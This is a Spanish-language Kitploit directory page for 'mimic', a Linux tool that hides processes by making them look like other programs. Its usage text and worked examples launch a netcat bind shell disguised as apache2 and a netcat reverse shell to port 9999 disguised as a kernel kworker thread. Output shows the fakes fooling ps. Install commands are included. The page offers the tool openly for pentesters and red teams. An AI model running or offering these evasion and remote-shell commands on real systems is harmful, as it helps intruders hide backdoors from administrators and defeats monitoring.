Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
mimic — Ocultar procesos como un usuario normal en Linux. | Kitploit
Herramientas/GitHubGitHub/emptymonkey/mimic
Evasión de IDS/IPSPruebas de PenetraciónRed Teaming
GitHubemptymonkey/mimic

mimic

Ocultar procesos como un usuario normal en Linux.

Ver Repositorio
26351hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

mimic

mimic es una herramienta para ejecución encubierta en Linux x86_64.

¿Qué es la "ejecución encubierta"?

La ejecución encubierta es el arte de ocultar un proceso. En este caso, mimic oculta el proceso a plena vista. mimic puede lanzar cualquier programa y hacerlo parecer cualquier otro programa. Cualquier usuario puede usarlo. No requiere permisos especiales. No requiere binarios especiales. No requiere un root kit.

¿¡Qué?! ¿Sin privilegios especiales??

Así es. mimic funciona reorganizando las estructuras internas de un proceso de tal manera que confunde la entrada /proc de ese proceso. Todas las herramientas que informan sobre la naturaleza de un proceso lo hacen examinando /proc. Si podemos doblegar /proc, entonces podemos ocultar un proceso a plena vista. Dado que solo estamos alterando el estado de un proceso que poseemos, cualquiera puede ejecutar mimic con éxito.

¿Se puede detectar esto?!

Por supuesto, pero solo si estás mirando muy de cerca, o ejecutando una herramienta forense que busca este tipo de cosas. La utilidad detrás de mimic es que evitará que alguien se vuelva sospechoso en primer lugar.

¿Funcionará esto con scripts?

Sí, pero necesitas llamar a mimic directamente sobre el intérprete. Por ejemplo, si la primera línea de tu script es "#!/usr/bin/perl", entonces querrás llamar a mimic así:

root@kitploit:~
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl" 

Al invocar el intérprete directamente, mimic puede hacer su magia.

¿Quién es el público objetivo de mimic?

Cualquiera que necesite legítimamente ejecución encubierta antes de obtener root. Esto incluye, pero no se limita a:

  • Pentesters.
  • Investigadores que realizan operaciones encubiertas (con la aprobación previa de sus departamentos Legal y de Recursos Humanos, por supuesto.)

¿Por qué se llama "mimic"?

Porque "Mentiroso, mentiroso, ¡/proc en llamas!" era demasiado largo.

¿Qué es "set_target_pid"?

set_target_pid es un pequeño programa auxiliar en el conjunto de mimic que agotará los pids hasta que el que quieras vuelva. Esto te permite elegir dónde en la lista de procesos quieres que se sitúe tu proceso. Ten en cuenta que el kernel reserva los primeros 300 pids para los hilos del kernel. Si intentas ir por debajo de eso, probablemente terminarás ejecutándote con el pid 301.

Uso

root@kitploit:~
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
	-e	Execute COMMAND.
	-m	Setup COMMAND to look like MIMIC.
			Default for non-root is:    "/usr/sbin/apache2 -k start"
			Default for root is:        "[kworker/0:0]"
	-b	Launch COMMAND in the background.
	-a	Add / overwrite KEY to the mimic environment with associated VALUE.
	-q	Be quiet! Do not print normal output.
	-h	Print this helpful message.

	Notes:
		The MIMIC environment will be a copy of the COMMAND environment.
		The '_' variable is automatically changed.
		The -a flag can be called multiple times to add / overwrite multiple variables.

	Examples:
		mimic -e /bin/bash
		set_target_pid 1 && mimic -e /bin/bash
		mimic -b -e "./revsh"
		mimic -b -e "nc -l -e /bin/bash"
		mimic -b -e "nc -l -e \"mimic -e /bin/bash\""

Ejemplos

Primer ejemplo - Lanzando un listener de netcat como usuario normal:

root@kitploit:~
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child...                  Success!
Waiting for child to attach...      Success!
Initializing ptrace_do...           Success!
Determining stack state...          Success!
Politely requesting name change...  Success!
Searching for main()...             Success!
Building execution headers...       Success!
Setting up final state...           Success!

	Good-bye and have a good luck! :)

empty@monkey:~$ ps aux | grep apache
empty     1931 19.5  0.0  16648  1324 pts/1    S    21:41   0:02 /usr/sbin/apache2 -k start
empty     1935  0.0  0.0   7596   836 pts/1    S+   21:41   0:00 grep apache

empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty: 
apache2  1931 empty    3u  IPv6  14462      0t0  TCP *:31337 (LISTEN)
apache2  1931 empty    4u  IPv4  14463      0t0  TCP *:31337 (LISTEN)

Segundo ejemplo - Lanzando una shell inversa de netcat como root:

root@kitploit:~
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"

¿Puedes detectar los kworkers falsos? ¿Podrías hacerlo sin la ayuda de grep?

root@kitploit:~
root@monkey:~$ ps aux | grep kworker | grep -v grep
root        18  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/3:0]
root       197  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:3]
root       198  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:4]
root       199  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:5]
root       302 23.4  0.0  18748  1912 pts/5    S    22:28   0:02 [kworker/0:0]
root       304 11.4  0.0   3780   296 pts/5    S    22:28   0:00 [kworker/0:0]              
root       305 10.8  0.0  10644  1200 pts/5    S    22:28   0:00 [kworker/0:0]
root       426  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/1:0]
root       434  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/3:2]
root       536  0.0  0.0      0     0 ?        S    20:12   0:00 [kworker/0:0]
root       879  0.0  0.0      0     0 ?        S    20:39   0:00 [kworker/2:0]
root      1463  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/1:2]
root      2132  0.0  0.0      0     0 ?        S    19:47   0:00 [kworker/2:2]
root      2607  0.0  0.0      0     0 ?        S    20:01   0:01 [kworker/0:1]

Por supuesto, ningún kworker debería tener un socket abierto, pero estoy seguro de que puedes ser más creativo con tus elecciones de nombres que esto. :)

root@kitploit:~
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0  302  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  304  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  305  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)

Nota que estoy ejecutando aquí como root solo porque un hilo kworker debería ser muy sospechoso si se ejecuta como un usuario no root. El nuevo nombre de mimic es solo una cadena. No tiene que ser un proceso existente. ¡Diablos, ni siquiera tiene que ser algo real!

root@kitploit:~
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"

empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty      399  2.9  0.0   3780   300 pts/4    S    22:34   0:00 Totally not a rootkit!          
empty      400  2.7  0.0  19372  2044 pts/4    S    22:34   0:00 Totally not a rootkit!

Instalación

root@kitploit:~
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/mimic.git
cd mimic
make
Descargar herramienta